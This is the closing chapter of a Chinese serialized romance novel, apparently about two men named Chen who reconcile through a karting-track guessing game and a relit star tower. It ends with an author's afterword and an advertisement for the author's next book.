同样是飙车,每个人的目的却不同。 庄嘉轩很单纯,这里人气旺,他道/上认识的兄弟都喜欢来,他也喜欢飙车时的速度与激情。 陈宗礼来这里是为了发泄。只要他戴上头盔,上了车,就没人认得他,也没人对他有期待,那时,他就是没入人群的一名普通车手。 这和现实中,需要每天顶着“陈宗礼”这个身份不同。 作为“陈宗礼”,他做任何事,永远只有一个选项,就是赢!只有一个选项,相当于没选项。但,这是陈宗礼从出生起,就背负的宿命和责任。 但作为一名普通车手,每一场他都有选择,他可以赢,也可以输。这是他少有,可以选择的地方——哪怕他从没输过。 直到,陈一诺出现,这个小卷毛毫不留情地从他手里抢走第一,甚至还破了记录。 他看着大屏幕,陈一诺的ID在自己之上,他这辈子也就心甘情愿输给他了。 …… “哎哟,什么风把陈大少吹来了,好久不见啊!” 陈宗礼从过去的沉思中回过神来,跟赛车场主理人周老板对了个眼神。 他点点头:“嗯,一诺在吗?” 周老板一脸坏笑:“好不容易来一趟,也不关心关心老朋友!张嘴就找陈一诺啊……” 陈宗礼笑笑,难得非常有礼貌地跟他应酬:“周老板生意可好?” 周老板摆摆手:“托你们的福,给我们提携不少生意。” 新晋“首富”新闻传出后,陈家兄弟包揽岚枫山赛车场前两名的风声不胫而走,不少人来挑战记录的同时,也像朝圣似的沾沾财气。他跟陈一诺开过的车,更是被周老板特意放在场内展示。 此外,羽南港项目也带动了不少精英到港城工作,恰好赛车这种活动,既适合团建,也适合个人消闲,生意自然蒸蒸日上。 陈宗礼客气:“不用谢。别把我男朋友藏起来就行。” 忽然听见“男朋友”三个字,周老板还有些恍惚。 …… 去年,两人恋情公开,第二天爆出贺朗卖港口的事。他们以为恋情舆论被压下去,完全不知道,这段恋情在港城掀起舆论有多旷日持久。 毕竟,这对兄弟的故事实在太跌宕起伏,太传奇了! 多年前的误会,导致两人成为老死不相往来的冤家。好不容易等到陈一诺回港,俩人又变成针锋相对的对手,还来赛车场真刀真枪比了一场“世纪之战”。 明明关系已经如此恶劣,却在羽南港项目时冰释前嫌,成为合作伙伴。 故事到这里,这“两兄弟”的关系,已经足够成为港城人茶余饭后讨论了。谁曾想,他们俩居然会公开恋情! 从兄弟变仇敌,终成同性恋人的故事,谁看了不喊一声:离谱?! 难得的是,这对恋人居然还得到了老太太的首肯,这实在太挑战港城人的观念了。 作为外围旁观者,周老板刚开始听说这件事,吃惊之余,却又觉得有点在情理之中。 …… 周老板笑道:“你男朋友,可是大名鼎鼎的陈一诺,谁敢动他啊?保镖不得先把我绑了?” 确实,陈一诺不接他电话,他却一点不紧张,就是因为保镖没有异常。 周老板搂着陈宗礼的肩膀,把他往观众席上带。 此时赛场上,五辆卡丁车刚停在起跑线上,准备下一轮比赛。陈宗礼又扫了眼LED大屏,没看到熟悉的ID,立刻兴趣寥寥。 陈宗礼视线从大屏幕转回周老板脸上,说道:“他人又不在,让我看什么?” 周老板“啧”了声:“第二次警告了啊,你不能只盯着陈一诺。” 陈宗礼歪头看傻子似的看他,回怼道:“我不盯着他,难道盯着你?” 周老板捂着胸口,一脸被冒犯又隐忍不敢发怒的样子:“哎,你记不记得第一次跟陈一诺赛车的时候?他摘头盔之前,认出他了吗?” 陈宗礼双手抱胸看着他,皱眉道:“说人话!” “啧,人话就是……”周老板指着下面的赛车,“他没用【输给你爸不丢人】ID比赛,也没开惯用的8号车,更没穿自己的赛车服,这种情况下,你能认出他来么?!” 陈宗礼的目光再次回到赛场上,难怪赛场上五辆卡丁车,从颜色到型号甚至车手的头盔、服饰都是一模一样的。 唯一能区分他们的,就是车座背后的数字编码。 他问道:“为什么要我猜?” 周老板说道:“你不想挑战挑战吗?” “不想,没兴趣。”陈宗礼拒绝得相当干脆。 周老板反应也很干脆:“行,我告诉一诺……”说完,拿起电话就准备打。 周老板明明说的是:行,我告诉一诺…… 陈宗礼听起来,暗藏的潜台词却是:行,我跟一诺告状! 于是,他立刻把人按住,无奈地叹了口气:“我猜,我猜还不行么?” 周老板“啧啧”两声,夸赞道:“牛啊牛啊!” “一诺真他妈牛啊。居然100%预判了你的反应!” 陈宗礼挑眉,颇感兴趣地问道:“……他预判我什么了?” 周老板嘻嘻笑着,摸了摸下巴的胡须:“他说,你嘴上说着不想参与,实际上,心里还是很想赢。得给你一个台阶,譬如说,如果你拒绝,我说就跟他告状。” “……” 陈宗礼无话可说,心里想的却是:陈一诺难得想要主动给他一个惊喜,他怎么能不配合呢? 发令枪一响,比赛开始。 他们视线重新看向LED大屏。目前排名第一,遥遥领先的是3号车。身后的1号和2号为了甩开对方,咬得相当紧,可谓战况激烈。 第三圈拐弯的时候,1号利用内圈优势死命压制着2号车。结果,2号车直接用车头撞击1号车的车身。 1号车的车身发生距离震动,车手急踩刹车,擦着草坪转了半圈才停下。整辆车冒着烟横梗在赛道中央,差点让后面的车反应不及也撞上。 甩开1号后,2号猛踩油门对排名第一的3号乘胜追击。 陈宗礼边看边皱眉,周老板双手抵在栏杆上,若有所指道:“这个2号的车技,是不是似曾相识呀……” 2号为了赢,不顾一切的狠辣手段,确实跟小时候的陈一诺非常像。 但陈宗礼摇摇头:“他知道我在看,不会为了赢不要命。” 周老板“哎哟哎哟”地鬼叫几声:“你又知道他那么听话?兴许,他就是知道你会这么想,反其道而行之呢?” 陈宗礼撇他一眼,脸色忽地沉了沉:“哼,他倒是可以试试看。” 小高/潮过去后,比赛后半程依然激烈,最后半圈,3号以微弱的优势领先。但2号奋起直追,完全没有减速,眼看两辆车之间的距离越来越近。 还有最后一个弯位,领先的3号防御很足,车轮一直压着草坪的线,不给2号半点从内线超车的空间。甚至还会故意毫不减速地碰撞2号,完全不担心刹车不及飞出去!看起来比2号还想赢,还狠! 还差200米抵达终点,周老板给他一个杯垫和一支马克笔,故弄玄虚道:“这个3号看起来也是狠人啊!这就难猜了。” “1到5号,你说谁是陈一诺呢?老板写一下吧!” 陈宗礼接过杯垫和马克笔,眯着眼看赛场,目光盯着狠劲跟陈一诺很像的2号,也看着防御经验丰富的3号。表情有些犹豫。 比赛到最后,在3号的严防死守下,2号最终没能逆袭,遗憾拿了第二。 3号冲线的同时,陈宗礼拿起马克笔,在杯垫上写了个数字,递给周老板。 周老板看了眼,挑眉:“你确定?” 陈宗礼落子无悔:“确定。” …… 比赛结束,五辆卡丁车按顺序,一辆辆开回看台下。车手们非常有默契地坐在车上,完全不打算下来。 他们整齐划一地戴着头盔,完全看不见脸,身体也藏在车上,只用看的根本分辨不出谁是谁。 周老板双手撑在栏杆上,对下面的人吼道:“不浪费时间了,直接摘头盔吧!” 五位车手,齐刷刷地摘下头盔。 陈宗礼目光先盯着第一名3号,里面露出一张张扬的脸,看起来有些邪气。但眼睛很小,没有陈一诺那双大眼睛有冲击力。又看向第二名2号,倒是浓眉大眼,却不是陈一诺。 周老板翻开那张杯垫,上面写了个“X”,也就是说,陈宗礼认为五个都不是陈一诺。 他拍拍陈宗礼的肩膀:“厉害啊!我都这么误导你了,你居然还能猜对?!” 陈宗礼直击要害:“这个误导,也是他让你说的?” 周老板又嘿嘿笑道:“那倒没有,他让我自由发挥。说说吧,2号和3号你怎么排除的?” 陈宗礼淡淡道:“首先,陈一诺答应过我,不会为了赢不要命,所以2号排除了。事实证明,他信守承诺。然后,3号车技够狠,但太稳了,陈一诺开不出那样的车。” 哪怕变化再大,陈一诺的性格依然是激烈带着狠劲的,估计一辈子也学不会稳重。 周老板哈哈两声:“哎,我还赌你认不出来呢,看来我始终成了你们Play的一环。” 陈宗礼表面上毫无波澜,暗自松一口气,忽而又警惕道:“你俩什么时候关系那么好了?” 周老板对他眨眨眼:“哎哟,不得了,我的醋你也吃啊?” “别废话了,他人呢?” “别着急吗!”周老板拿出一条钥匙,指了指方向,“下楼左转有一辆越野。” 陈宗礼利落地拿走钥匙问道:“他在车上?” 刚问完,他就笑了,人如果在车上,还给他钥匙干嘛? 周老板看他为了见陈一诺,智商忽高忽低,惊讶道:“啧啧啧,难怪说智者不入爱河呢……” 陈宗礼把钥匙塞回口袋,脸微微有些红:“你不懂,走了。” 背后的周老板继续骂骂咧咧:“我怎么就不懂了,谁年轻没谈过恋爱……” …… 陈一诺提前准备越野车没什么特别,不是赛车,甚至不是新车。 陈宗礼上车后点开导航,导航已经被提前设置好。他按着导航的定位,经过“岚枫山越野赛道”的标识,一路往山上开。 这条赛道,陈宗礼只在陈一诺出国那年开过。 那时,他用没日没夜的工作麻醉自己,整个人一个没有感情工作机器。连续工作一个月后,他觉得如果再不发泄,脑海里那根弦不知道什么时候就要断了。 于是,第一次驶上了越野赛道。 复杂的路况,满是泥泞的山路,比卡丁车更快的速度,让他的肾上腺素被拉到前所未有的高度。他行驶到交汇路段时,一辆越野从侧面另一条小路窜出来,直接一个漂亮的甩尾,把他甩在身后。 那天下着雨,视线和路况都不好,对方甩尾时溅起一滩泥水,全落在陈宗礼车上,非常嚣张。 按平时,陈宗礼不会追,但他看见,那辆越野背后贴着“08”的数字,是陈一诺的车号。 他明知道陈一诺不可能出现在港城,更不可能出现在这里,但他就是中蛊似地踩油门。 那天的时速多少,他已经忘了,两旁的山景飞速掠过,他却觉得很慢,因为他只盯着面前的“08”。 直到他跟那辆车越贴越近,对方忽然一个转弯,大概是雨太大,能见度低,他开近了才发现面前出现一个巨大的金属建筑,于是猛打方向盘。那人躲过了,但陈宗礼没躲过。 他第一反应刹车,但雨天路滑刹车没刹住,于是整辆车撞上金属建筑…… 安全气囊救了他的命,当时,他只觉得自己左手很疼。后来,他看见“08”号车停了下来。 从车上跑下一个男人,边叫救护车,边问他:先生你没事吧? “没事。”陈宗礼无奈地闭上眼睛,那不是陈一诺。 …… “陈一诺提醒您,本路段限速60,您已超速!” 陈一诺三个字,加上陈一诺的声音,陈宗礼连忙踩了一脚刹车,人和车都在这时候回过神来。 估计是怕他着急开车,再伤到旧患,特意准备了这个语音提示。 轻轻一句话,驱散了陈宗礼心中的冷意,听话地以超低时速,开到了导航定位地址——岚枫星塔,岚枫山的标志性五角星建筑。 当年,他没有避让撞上了的金属建筑,就是这个五角星的其中一角。 那一撞,把整颗星撞灭了,也把他的心撞碎了。 他跟周老板赔了钱,但叮嘱不让他修,周老板收钱办事,这颗被撞灭的星,这么多年再没亮过。 陈宗礼下了车,眯着眼,靠零星的小灯辨认出五角星的位置。 他慢慢走过去,忽然“汪——”一声,把他吓了一跳。打开手机电筒,看见距离他三米外,有一个小毛团在扑腾。 他夜视能力强,嘴角瞬间弯起来,快走两步到它身边蹲下:“白小灰,你怎么跑到这里了?” 白小灰脖子上系着狗绳,刚好绑在五角星下方的遮挡处。虽然只是一澡之缘,但白小灰立刻认出陈宗礼,用自己的脑袋谄媚地蹭他的手掌。 陈宗礼的心瞬间就化了,揉白小灰的时候,发现他项圈处挂着一个拇指大小的黑色装置。 他嘴里自言自语,“这是什么呀?炸弹引爆器啊?”手指快速把装置摘下来。 装置中心有个凹陷,他按了一下凹陷处,“蹭——”的一下,头上的五角星亮了,不只是单调的亮起,而是“一明一暗,一明一暗,一明一暗”地变换着。 像一颗挂在天上会“一闪一闪放光明”的星星。 陈宗礼抱着白小灰,走远几米,自下而上地观看这颗星,发现它明暗的频率,跟心跳越来越接近。 没找到下一个线索,但他心里却隐隐期待着什么。 忽然,五角星左侧亮起一束灯带,暖黄色的灯带像铺出一条路,一直延伸至幽深的某处。 “汪——”怀里的白小灰吠了声,原来是暗处藏着一个人。 那人双手背在身后朝他走来,一双让人过目不忘的眼睛,灵动又狡黠。月亮一如既往地偏爱他,从云层里漏出丝缕银光落在他身上,让那人披星戴月走到他面前。 一眼过去,那么多年,那个送他5分20秒的张狂少年,兜兜转转再次回到他身边。 陈宗礼问道:“陈一诺,你好浪漫啊。” 陈一诺“嘿”了声,虽然确实费了心思,但被陈宗礼夸得有些不好意思。 “那我总得有些进步吧……不能总是LED大屏告白。” 想到那抹死亡芭比粉,陈宗礼笑笑:“嗯,是强多了。” 陈一诺指着岚枫星:“听说我要给你惊喜,特意重新检修还翻新了一遍。你不知道周老板多替我们高兴。” 陈宗礼“切”一声:“他替自己高兴吧?这灯重新亮以后,更多游客要来了。” 陈一诺耸耸肩:“我只管亮灯仪式的时候,你在场。其他我管不着。” 陈宗礼牵着他的手,一起站在岚枫星塔下,安静欣赏着这颗重新闪亮的岚枫星。 过了几分钟,陈宗礼看他不说话,问道:“你是不是该拿出戒指,单膝跪地?” 陈一诺看着他,露出诡异的表情:“陈宗礼,你以为我想求婚?” 陈宗礼上斜眼扬了扬,颇意外:“不是求婚,你大费周章干什么……” 陈一诺应道:“大费周章哄你开心啊。只要你开心,这一切就值了。你开心吧?” 陈宗礼了然:“开心。” 虽然跟预期有违背,但陈宗礼明白,陈一诺的内心真正安定下来了。 他不再担心被谁遗弃,不再一段关系里患得患失,自然不需要这种像保险似的仪式感。 怀里的白小灰在陈宗礼胸前拱了拱,陈宗礼问道:“它怎么办?” 陈一诺摸摸白小灰的卷毛说道:“那天,我过来验收的时候,灯一亮,白小灰刚好冒出来,我那时候就想收养它。” “当然,我不好自作主张,所以先放在救助中心,带你过来接触接触。发现你也挺喜欢它的。索性把白小灰带回家啦。” 陈宗礼面有难色道:“放在大平层还行,放回老宅,老太太估计不同意。她对狗毛猫毛过敏。” 陈一诺挑眉:“我说的家,不是老宅,也不是大平层。” 陈宗礼也挑眉:“那说的是哪个家?” 陈一诺扬起嘴角,得意地指着山下的某个角落:“那边,我们家,我们自己家!” …… 越野车的引擎声在安静的岚枫山上再次响起,陈一诺负责开车,陈宗礼抱着狗坐在副驾。 在限速60的导航警告下,陈一诺踩着油门,在星星点点的路灯带领下,飞速下山。 背后的“岚枫星塔”闪闪发亮,此时,从山下往上看,整座山成了一颗巨大的圣诞树。 那个曾经被誉为:“夏日也能点亮圣诞树的地方”,再次让港城变得浪漫。 当越野再次停下,陈宗礼看见了陈一诺口中的“家”—— 一栋隐没在岚枫山脚,带院子的南洋风格别墅。白色外墙浅蓝色长方形窗户,墙角是圆角并非直角,没那么锋利看着胖胖的很可爱。 他们走进院子,一只黑峻峻的大狗,从暗处慢慢走来。 陈宗礼笑道:“你把大黑也领回来了?” 陈一诺抱走他怀里的白小灰,笑道:“我俩有伴,我们家小狗也不能落单。” 他把白小灰放到地上,小灰摇着屁股,撒欢似的跑到大黑面前,互闻了闻,然后快速跑到草丛旁,抬腿标记自己的地盘。大黑跟在它身后,它尿在哪里,大黑就在它上面尿。好像要证明,自己才是真大佬。 一黑一白在院子里乱窜,完全不理会身后搂在一起的主人。 陈宗礼甚至等不及参观完别墅,进了门就把陈一诺抵在墙上接了一个缠绵的吻。 陈一诺笑道:“喜欢吗?我找了很久,这个院子能看见岚枫星塔,去救助中心也很近……” 陈宗礼低声道:“喜欢。” “我们可以每天坐在院子里,和小狗一起看日落……” 陈一诺心头一颤,他说的话,陈宗礼真的全记在心里。 他忍不住打岔道:“每天看日落,不赚钱了?” 陈宗礼无奈地看着“小财迷”,笑了:“也赚吧,一起赚。” 陈一诺感慨道:“陈宗礼,我好爱你。” 陈宗礼揉揉他的卷毛,笑道:“陈一诺,我不是想赢,但我肯定更爱你。” “毕竟,我已经爱了你两辈子。” 陈宗礼的眼睛认真看着陈一诺,老太太说过,只有在这时候,他的眼里才会有光亮,有柔情。 上辈子的生离死别,仇恨伤痛,注定无法从陈一诺记忆中彻底消除。 陈宗礼愿意用无尽的爱做他的药引,治愈他被遗弃的伤。 也愿意用余生的每一场日落,替换那些被孤独的时光。 还有亲人、好友和被“岚枫星塔”照亮的家做依靠。 弃犬退散,往后只走花路吧- 正文完—— 作者有话说:完结章,在国庆假期,早上6点起床开始写,看到了很美的朝霞。 初稿写完后,心情淡淡地失落,又淡淡地幸福。 4个月的连载期,加上前面几十万字的废稿,兜兜转转写了1年。因为好难,所以开文时给自己的目标就是写完。如今写完了,虽然,笔力依然撑不起野心Orz,但这段旅程值得。 和那句广告语一样:生命没TakeTwo。每篇文也一样,只给作者一次机会。把陈一诺和陈宗礼的故事带到大家面前,我尽力了。肯定有不足,不足之处,寄望下次更好。 特别感激连载期追更的各位。100章的时候本想发发红包,结果一个月只能发一次。今天补回来,感谢每一位读者,你们都有福报!! 休息几天再更新番外,可能一更几章,保证大家看一个完整故事的体验! 文很冷,成绩不好,大家看完觉得愉快,希望能多多安利,万分感激! 2025.10.6[红心] …… 下一本开《两位少爷,先拆后爱》很可爱的校园x豪门双强文,请收藏啊!!!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m